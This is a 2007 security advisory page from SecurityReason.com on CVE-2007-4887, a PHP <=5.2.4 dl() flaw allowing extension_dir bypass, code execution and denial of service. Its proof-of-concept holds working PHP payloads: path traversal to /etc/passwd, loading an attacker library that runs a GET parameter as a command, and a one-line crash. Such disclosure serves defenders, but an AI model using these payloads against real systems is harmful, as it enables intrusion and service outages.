SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHP <=5.2.4 extension_dir bypass & code exec & denial of service - windows version


Arrow  SecurityAlert : 3133
Arrow  CVE : CVE-2007-4887
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Exploit Available : Yes
Arrow  Credit : laurent gaffie
Arrow  Published : 14.09.2007

Arrow  Affected Software : PHP <=5.2.4



Arrow  Advisory Content :  

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix & windows /* replace .so --> dll . */
Bug: extension_dir bypass & code exec & denial of service/*some people call
this as a buffer overflow , but it's a denial of service.*/
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

extension_dir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php
=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library
'./../../../../../../../../../etc/passwd' -
./../../../../../../../../../etc/passwd: invalid ELF header in
/usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/p
wned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone &
#nibbles

=====
5)Credits
=====

laurent gaffié
laurent.gaffié@gmail.com
secorizon coming soon !






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.